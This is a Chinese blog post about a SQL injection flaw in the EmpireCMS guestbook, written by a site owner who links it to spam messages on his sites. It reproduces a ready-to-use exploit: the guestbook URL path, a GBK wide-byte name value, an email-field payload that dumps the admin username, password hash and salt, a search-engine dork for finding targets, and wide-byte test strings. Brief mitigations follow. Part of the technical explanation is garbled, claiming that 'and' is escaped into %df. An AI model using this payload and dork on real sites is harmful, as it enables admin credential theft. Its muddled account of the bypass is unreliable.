帝国cms后台留言遭到大量垃圾留言的原因以及解决方法

文章讲述了近期一些网站遭受不明群体的灌水攻击,主要是由于帝国CMS的留言系统存在PHP注入漏洞。攻击者利用该漏洞可以获取管理员账号密码。漏洞利用涉及双字节(宽字节)漏洞,当get_magic_quotes_gpc开启时,输入的and会被转义,形成GBK编码的宽字符,从而绕过安全检查。防护措施包括限制联系邮箱长度,修改默认后台地址等。
摘要由CSDN通过智能技术生成

近期手底下几个网站遭到不明人群灌水,留言内容五花八门,一直对他们为什么这么做感到不解,做广告吧?留言内容没广告信息,难道是破解密码?要攻陷我的网站?

今天正面了我这个想法是对的,帝国cms网站留言系统遭到大规模垃圾留言的原因是因为:

攻击方想利用帝国cms留言漏洞攻克自己的网站。

原因如下:

帝国CMS留言板漏洞,我大概在网上搜索了一下,基本上都是出来相同的信息

信息如下:

深灰丢出来的0day.

找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1

出来的是帝国CMS的留言本,在姓名处写:縗\

联系邮箱处写:

,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

提交后爆出账号密码

测试方法:利用google搜索关键字 inurl:e/tool/gbook/?bid=1,然后依照上面方式留言,显示结果即爆出管理员帐号和密码md5值,破解密码登陆后台。

只公布了oday的利用方法,并没有说明其中的一些原理,今天壮壮胆,跟大家分析一下

1.这个漏洞就是php注入,上面的注入语句大家也看到了

,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

查询phome_enewsuser表段中username,password,rnd三个字段信息,查询的条件是userid=1,排在第一位的,估计也是管理员,当然如果网站存在多个管理员,可以把1换成其他数字

2.姓名处写:縗\

为什么要写:縗\?这里涉及到一个双字节漏洞

要知道这个需要了解几个知识点

1)如果安装过php环境的朋友应该知道,在php.ini中有一个get_magic_quotes_gpc功能

当这个功能打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动加上转义符\

当这个功能开启时,字符串可以直接入库

2)注入大家知道,要用到“and”

and被php转义为%df,由于 get_magic_quotes_gpc开启,所以自动加入了“\”

“\"转换为十六进制后为%5C

由于看出,其实我们输入“and”被php转义成为%df%5c

但是当这些字符进入mysql数据库进行GBK编码时,就会被认为这是一个宽字符,也就是"縗"

总结一下:

%df' ==> %df\'   ==> %df%5c'   ==> 縗'

这就是php中常见的宽字节漏洞,也称双字节漏洞

如我们在平时的检测过程中替代原来的 and 1=1

%df%27 or 1=1/*

%df%27 or 1=2/*

我们知道了漏洞所在,修补方面就会有很多方案,1、比如在联系邮箱那进行一个长度的限制,进行一个提交值的判断等,同样由于是暴后台管理员帐号信息,2、适当修改默认后台地址也是有效阻止被入侵的方法之一。

感谢更多的朋友给我们帮助

以上分析不到的地方,还请大家给予多多指点

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

执刀人的工具库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值